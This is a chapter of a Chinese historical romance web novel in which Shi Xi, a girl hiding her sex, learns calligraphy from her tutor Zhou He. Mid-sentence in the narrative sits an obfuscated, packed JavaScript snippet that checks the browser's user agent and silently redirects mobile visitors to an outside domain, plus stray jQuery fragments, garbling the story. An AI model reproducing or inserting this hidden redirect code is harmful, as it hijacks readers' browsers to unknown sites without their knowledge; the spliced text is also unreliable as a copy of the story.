练字这事儿，对时汐而言，实在是件既磨人又难为情的事。她自认从小在义务教育的“铁拳”下摸爬滚打，作业本上也是有过“方正小楷”的辉煌时刻的。只可惜，那多半是时间充裕、心情平和时才能勉强维持的体面。一旦需要拼手速，比如课堂笔记或是限时考试，那字迹便如同脱缰野马，恣意奔腾，具体连笔能连出几个银河系，就不必细究了，反正能认出是个什么字，已是师生间心照不宣的默契。
但今日不同。补了个回笼觉，神清气爽；京都写稿的渠道顺利对接，心头大石落地；再加上孟老板那八两银子的定金正沉甸甸地揣在怀里——时汐只觉得通体舒泰，看什么都顺眼了几分。这股子难得的舒畅劲儿，甚至让她对那手“不堪入目”的软笔字，生出了几分“或许还能拯救一下”的雄心。
铺开宣纸，研好浓墨，接下来便是字帖的选择。
时汐的目光在书架上逡巡片刻，最终落在了那本装帧清雅的《昼鹤文集》上。
当朝探花郎，除了那张据说能“掷果盈车”的脸和锦绣文章，一手行书亦是闻名遐迩。时汐小心翼翼地翻开，仔细端详。不得不说，字如其人，这话在昼鹤身上体现得淋漓尽致。他的行书流畅自如，确如云中白鹤，翩然欲飞，在疏朗布局间透着一股清逸高洁的风骨。它不像瘦金体那般锋芒毕露，也不似欧体那般规整圆融，而是自成一派，于笔锋转折处，藏着一种难以言喻的独特韵味。
时汐并非行家，审美却是在线的。学舍里同窗的字迹不乏优秀者，但或许只因这是“昼鹤”，她总觉得那笔墨间，多了一丝旁人难以企及的味道，让她心向往之。
深吸一口气，时汐定了定神，开始临摹文集中的一篇。这是昼鹤早年秀才时期所作，内容是关于离家远行，适逢佳节思乡情切，最终在山水徜徉中得到解脱的心路历程。文辞清丽，情感真挚，倒是很适合静心。
然而，理想丰满，现实骨感。
光是开篇“庆祐”二字，就足足耗费了她一整页宣纸。不是下笔墨汁太浓，晕染成一团乌云；就是手腕发抖，写出的横像蚯蚓，竖像醉汉；偶尔有那么一两个看起来轮廓尚可，却又因笔画太细显得小家子气，她忍不住添上两笔想要弥补，结果……成功制造出又一个墨团。
常言道，练字能使人静心。时汐此刻却觉得，练字分明是逼人发狂！
她有些气馁地将写废的纸揉成一团，泄愤似地丢在地上。窗外日头渐渐偏西，光线变得柔和，她却仿佛跟那支笔、那砚墨、那本字帖较上了劲，埋头苦写，浑然不觉时光流逝，更未察觉身后不知何时，已悄然多了一道身影。
直到一只微凉的手轻轻覆上她握笔的手背，时汐才悚然一惊，猛地回过神来。
鼻尖萦绕起熟悉的、清冷的沉香，其间又似乎混杂了一丝极淡的竹与梅的清气——这是昼鹤身上常有的味道。时汐曾因好奇，偷偷在他书房取了一点同样的香来焚，却无论如何也复刻不出这种独特的气息。
她的心跳在那一瞬间骤然失序，如同擂鼓。却又因手背上传来的、不同于自己燥热的微凉体温，而奇异地缓慢下来，只是胸腔里的余震未消。
“夫…夫子何时来的？”她声音里带着一丝不易察觉的颤抖。
“刚处理完衙门事务，想起今早让你练字，酉时交与我看。书房案牍上未见，便过来瞧瞧。”昼鹤的声音平稳无波，目光却已落在地上散落的几个纸团上。他另一只手不知何时已拾起了几团废纸，展开略略一扫，眉头几不可察地微蹙了一下，欲言又止。
时汐顿感尴尬，干笑两声：“我…我就是随便练练，不堪入目，不堪入目……”
昼鹤轻轻叹了口气，未再多言，伸手拿起了书桌上那本被时汐摊开临摹的文集，似是才注意到这是他自己的东西。“为何选这本练？”
时汐下意识就想说“因为就它离得最近，而且我只有这一本像样的字帖”，话到嘴边，舌头打了个转，硬生生改成了：“学生…学生喜欢夫子的字，觉得自有一股风流韵味在其中，心向往之。”
昼鹤从喉间逸出一声淡淡的“嗯”，目光从书页上抬起，落在时汐脸上，眼中竟含了一丝极浅的笑意：“有心了。不过，你临的这篇，是文集编纂时请人抄录的，并非出自我手。”
时汐：“？？？”
她猛地抬头，看看昼鹤那双似乎能看透人心的眼睛，又低头看看满地自己奋战一下午的“成果”，一股混合着恍然和憋屈的情绪直冲头顶。
怪不得！怪不得她怎么写都觉得不得劲，形似都勉强，更别提神韵了！原来根子在这儿！根本不是她资质愚钝……好吧，或许也有一点，但主要原因绝对是字帖不对！孟老板这家伙，居然用抄录本冒充真迹忽悠她！
内心波涛汹涌，面上却努力维持着镇定，甚至带上了一点恰到好处的“原来如此”：“我就说……这些字的风骨气韵，与夫子平日的手书似乎差距颇大，风格也迥异。学生原还以为，是夫子年少时笔力尚未臻至化境，原来是这个缘故。”
昼鹤没有接话，只是自然地拿起她案上的笔，在砚台中蘸饱了墨，铺开一张新纸，对照着文集上的原文，悬腕落笔。
时汐屏住了呼吸。
但见他运笔时，肩臂沉稳，手腕灵活，仿佛在虚空中抚弄琴弦，整个人的气息都随着笔尖的提、按、顿、挫而微微起伏、流动。墨汁中极细的颗粒，在绵密宣纸的纤维间缓缓驻足，形成一种毛茸茸的、充满生命力的边界，让人感觉那墨水并非被动附着，而是主动在纸张上生长、蔓延。
而这一次，他写的并非擅长的行书，是端正严谨，一丝不苟的正楷。
时汐几乎看呆了。这可是书法大家亲自示范！她曾听同窗提起过，昼鹤惜墨如金，自多年前有人高价求字后，便极少再为人提笔书写。
可现在……
“想练成我这样吗？”搁下笔，昼鹤看向她，声音依旧平淡。
时汐觉得自己的眼睛里瞬间迸发出了渴望的光芒，忙不迭地点头。
“跟我来。”昼鹤言简意赅，转身便走。
时汐愣了一下，赶紧放下笔，小步跟上。
兜兜转转，竟是来到了昼鹤的居所“静观堂”。
上次潜入此地，还是为了“借”那顶斗笠。当时目的明确，做贼心虚，根本没敢细看屋内陈设。此刻她恭敬地候在门外，才得以窥见全貌：室内铺着来自西域的柔软绒毯，一架十二扇的泼墨山水屏风巧妙地隔出了内外空间。不知是何名贵木料制成的大画案上，白玉笔山、青玉镇纸、紫檀笔筒等文房雅器一应俱全，摆放得井然有序。案旁立着一只官窑秘色釉瓶，瓶中斜插数枝海棠，花开正艳，为这满室书卷气增添了一抹亮色。四壁图书环列，棋枰、古琴静置于旁，空气中弥漫着清雅的松烟墨香，处处透露出主人不凡的品味与身份。
昼鹤绕过屏风，从内间的书架上取了两三本线装书册，回到外间，淡声道：“古之笔法，练习顺序讲究由易到难，多为篆、隶、楷、行、草。篆书结构匀称，笔法相对简单，重在线条掌控，最适合入门。这几本是我昔年用过的篆书字帖，你且拿去，先从它练起，务必做到能控制住笔，写出流畅均匀的线条。”
时汐上前双手接过，翻看一看，里面果然是弯弯绕绕、如同画符般的篆体字。她心里顿时一阵哀嚎。果然，天底下从来就没有什么速成的武功心法！这让她瞬间想起了前世，因为喜欢各种“设子”又嫌约稿太贵，一咬牙报了个美术班，结果老师连续让她画了一周的排线、几何体……坚持了七天，最终还是因为枯燥且短期内看不到显著成效而放弃了。果然，有些专业人士的钱，活该他们赚！
“夫子……”她犹豫了一下，还是没忍住，带着一丝侥幸心理开口，“就……没有那种，能稍微快一点见到成效的法子吗？比如，直接练行书的基础笔法之类的？”
昼鹤正单手随意拨过琴弦，发出一串零星的清响，闻言动作微顿，抬眸看向她。在时汐充满期待的目光中，他薄唇轻启，无情地吐出两个字：“没有。”
时汐心下默默叹了口气，暗骂自己多嘴，老老实实地应道：“学生知道了。”
“过来。”昼鹤指了指画案前的座位。
时汐不明所以，但还是依言上前。刚走到案边，昼鹤便抬手，轻轻搭在她的肩膀上，微一用力，将她按在了那张宽大舒适的座椅上。
他身量颇高，做这个动作几乎不费吹灰之力。动作本身也并不显得亲昵，更像是一种不容置疑的指引。然而，每次只要和昼鹤有近距离的接触，时汐的心脏总是不争气地失控狂跳。除了那难以忽视的压迫感，更多的，是一种深埋于心底的恐慌——若他知晓了自己是个女子，又该如何？
“你就在此处练。”昼鹤的声音自头顶传来，打破了她的胡思乱想，“我看着你写。”
时汐：“……”
心跳瞬间平缓下来。
“这…这不妥吧？”她试图挣扎，“夫子日理万机，学生岂敢打扰您处理政务？我还是回去自己练……”
“无妨。”昼鹤打断她，语气平静却不容置疑，“近来并无紧要案件。与新任官员的交接事宜，也已大致处理完毕。”
时汐抬眸，对上他那双深邃平静、看不出情绪的眼睛，坚持对视了两秒，最终还是在对方无形的气场中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488933|185766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
败下阵来。她认命地拿起墨锭，开始重新研磨，动作都因为紧张而显得有些僵硬。
好不容易润好了笔，她深吸一口气，对着字帖上的篆文，小心翼翼地落笔——
“忘了我方才是如何执笔的吗？”清淡的嗓音再次响起，带着一丝不易察觉的压迫。
时汐手一抖，低头一看，才发现自己因为太过紧张，下意识又变回了握硬笔的姿势，五指将笔杆攥得死紧。她脸颊一热，赶紧调整成标准的握笔法。
这是一篇记录古代圣主功德的碑文拓本。对时汐而言，能认出大部分繁体字已是极限，实在无力理解这佶屈聱牙的文章具体在歌颂什么。而且，手中这支羊毫笔仿佛天生与她有仇，写篆书要求的圆润均匀的线条，到了她手下，不是起笔太重像个胖头，就是收笔太细宛如鼠尾，怎么写怎么别扭。
硬着头皮，在一种近乎公开处刑的煎熬中，时汐终于写完了一页。看着纸上那些歪歪扭扭、粗细不均的“鬼画符”，她自己都不忍直视。
果然，身后传来了昼鹤清晰可闻的叹息声。
紧接着，那只微凉而骨节分明的手，再次覆了上来，稳稳地包裹住她执笔的手。
“时汐。”他唤她的名字，声音离得很近，温热的气息几乎拂过她的耳廓。
时汐浑身一僵，只觉得被昼鹤半圈在怀里的那半边身体瞬间麻木，血液似乎都停止了流动。她连呼吸都放得极轻极缓，生怕惊扰了什么。
“……是。”她努力让自己的声音听起来正常。
昼鹤带着她的手，引着笔锋重新落于纸上。他的力道不轻不重，带着一种不容置疑的引导。笔尖在他掌控下，画出流畅而圆润的弧度，每一笔都显得那么遒劲有力。
“有个问题，困惑我许久，一直想问你。”他一边带着她运笔，一边开口，声音听不出什么情绪，仿佛只是随口一提。
时汐只觉得握着笔杆的手心沁出薄汗，滑腻得几乎要握不住，全靠昼鹤的力量支撑着才没有脱落。她喉咙发紧：“……夫子请讲。”
“你曾说，你父母自幼望你成才。”昼鹤的语调平稳，手下运笔不停，“可为何，最基本的笔法从未系统练过？琴棋书画，似乎也…样样不通。”
时汐的心猛地一沉。
“可若据此便断定你不学无术，”他话锋微转，笔下的线条依旧流畅完美，“你却又似乎涉猎甚广，言谈间偶尔提及的某些典故、见解，甚至……是我当年在翰林院藏书阁翻阅某些禁书时方得窥见。你，究竟是个什么样的人？”
时汐抿紧了嘴唇，心脏在胸腔里狂跳，脑海中疯狂想着对策。
所幸，昼鹤似乎真的只是“困惑”，而非“逼问”。他问完之后，并未停下手中的动作，也没有转头看她，等待回答的意思，只是专注地带着她，将那一页篆文，一字一字，重新书写。
笔落，纸满。
方才还被时汐写得如同群魔乱舞的字迹，此刻已整整齐齐地排列在宣纸上，对称均衡，上紧下松，横成列，竖成行，透着一股严谨端方的庙堂之气。与旁边时汐自己写的那一页放在一起，简直是云泥之别，高下立判。
同样的笔墨，同样的字帖，效果却天差地远。
“可记住我方才下笔的力度、顺序与走向了？”昼鹤松开手，退开半步，目光带着审视落在她脸上。
时汐根本不敢说自己什么都没记住，只能硬着头皮，含糊地点点头：“……记住了些。”
“再写。”昼鹤不再多言，转身走向一旁的琴台，撩袍坐下。
时汐不敢再看他的方向，悄悄在衣襟上擦了擦掌心的汗，重新拿起笔，蘸墨，落笔。
笔尖刚触到纸面，便听得“铮”的一声清越琴音，如同石子投入静谧心湖。紧接着，舒缓的琴音如流水般缓缓铺开，淙淙铮铮，带着一种奇异的安抚力量。
不知是不是这琴音的加持，时汐发现自己原本因紧张、羞愧而浮躁不堪的心，竟渐渐地沉静下来。手腕似乎也稳了不少，笔下那些弯绕的线条，虽依旧算不上好看，但至少粗细均匀了许多，看起来顺眼了不少。
写到第三页纸时，她甚至觉得手腕的酸痛感都减轻了，一种奇妙的、专注于笔尖与纸张接触的平静感笼罩了她。她看着笔下初见雏形的字迹，心中竟生出一丝微弱的成就感，忍不住想抬头，请昼鹤来看看这点滴的进步。
然而，她刚欲起身，书童南山的身影便悄无声息地出现在门口，他快步走到琴台边，俯身在昼鹤耳畔低语了几句。
只见昼鹤抚琴的手指骤然一顿，流畅的琴音戛然而止。他眉头瞬间锁紧，脸上那惯常的平静被一丝凝重所取代。